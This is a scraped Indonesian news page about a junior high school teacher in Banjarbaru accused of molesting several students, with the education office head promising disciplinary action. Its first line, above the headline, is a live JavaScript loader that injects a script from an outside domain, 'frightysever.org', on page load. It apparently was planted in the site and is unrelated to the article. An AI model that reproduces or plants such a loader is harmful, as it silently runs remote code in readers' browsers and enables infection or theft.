(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Oknum Guru Cabuli Anak Murid di Banjarbaru, Kadisdik: Tak Ada Toleransi bagi Pelaku Tercela!


KANALKALIMANTAN.COM, BANJARBARU – Oknum guru, AS (37) tersangka pencabulan terhadap murid di wilayah hukum (Wilkum) Polsek Liang Anggang menjadi perhatian berbagai kalangan.

Kepala Dinas Pendidikan (Disdik) Kota Banjarbaru, Dedy Sutoyo mengatakan, secara tegas menyampaikan tidak mentolerir perilaku tercela tersebut.

“Tidak ada kata toleransi untuk kasus pencabulan, perundungan dan narkotika,” tegasnya.

Kata Dedy, seharusnya seorang guru menjadi teladan bagi murid-muridnya. Tidak hanya sekadar mengajar, namun juga mendidik akhlak dan budi pekerti.

 

 

Baca juga: Sejumlah Apotek di Kecamatan Simpang Empat Tanbu Masih Pajang Obat Sirup Anak

Lanjut Dedy, status oknum guru sendiri sebagai seorang ASN. Pihaknya juga sudah berkoordinasi lebih lanjut kepada Badan Kepegawaian, Pendidikan dan Pelatihan (BKPP) Kota Banjarbaru untuk penerapan hukuman disiplin. Kendati demikian, jajarannya masih menganut asas praduga tidak bersalah.

“Disdik Kota Banjarbaru ingin menciptakan ekosistem dan iklim dunia pendidikan di Kota Banjarbaru yang baik, menciptakan karakter anak yang berakhlak dan lainnya,” ucapnya.

Ia berharap kejadian seperti ini bisa menjadi pelajaran untuk semua dan jangan sampai terulang kembali. Terlebih oknum berkecimpung dalam dunia pendidikan.

Seperti yang diberitakan sebelumnya, seorang oknum guru salah satu sekolah menengah pertama berinisial AS (37) mencabuli peserta didiknya.

Dari hasil interogasi oleh aparat Polsek Liang Anggang, AS (37) mengakui dirinya terpantik nafsu syahwat saat didatangi oleh Mawar. Lantaran syahwat, AS (37) mencium bibir sebanyak dua kali dan tanpa paksaan terhadap korban.

Baca juga: Progres Proyek JPO Banjarbaru 86 Persen, Tuntas Sebelum Pergantian Tahun

AS (37) juga mengaku ada 3 siswi yang mendapat perlakuan yang sama saat bertemu di sekolah, karena sudah terbiasa.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

11 jam ago

Masrumi dari Desa Sungai Namang HSU Raih Prestasi Nasional

KANALKALIMANTAN.COM, SOLO – Masrumi, guru honorer asal Desa Sungai Namang, Kecamatan Danau Panggang, Kabupaten Hulu… Read More

12 jam ago

Pemkab HSU Gelar Upacara HUT ke-75 Proklamasi ALRI Divisi IV Kalimantan

KANALKALIMANTAN.COM, AMUNTAI - Memperingati HUT ke-75 Proklamasi Pemerintahan Gubernur Tentara ALRI Divisi lV Pertahanan Kalimatan,… Read More

12 jam ago

Mantan Karyawan BPR Candi Agung Amuntai Dituntut 7 Tahun

Selewengkan Dana Nasabah, Rugikan Negara Rp779 Juta Read More

12 jam ago

Ungkap Kasus Curanmor di Banjarbaru, 4 Unit Motor Berplat Merah

7 Pelaku Ditangkap dengan Barbuk 21 Unit Sepeda Motor Read More

16 jam ago

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

18 jam ago

This website uses cookies.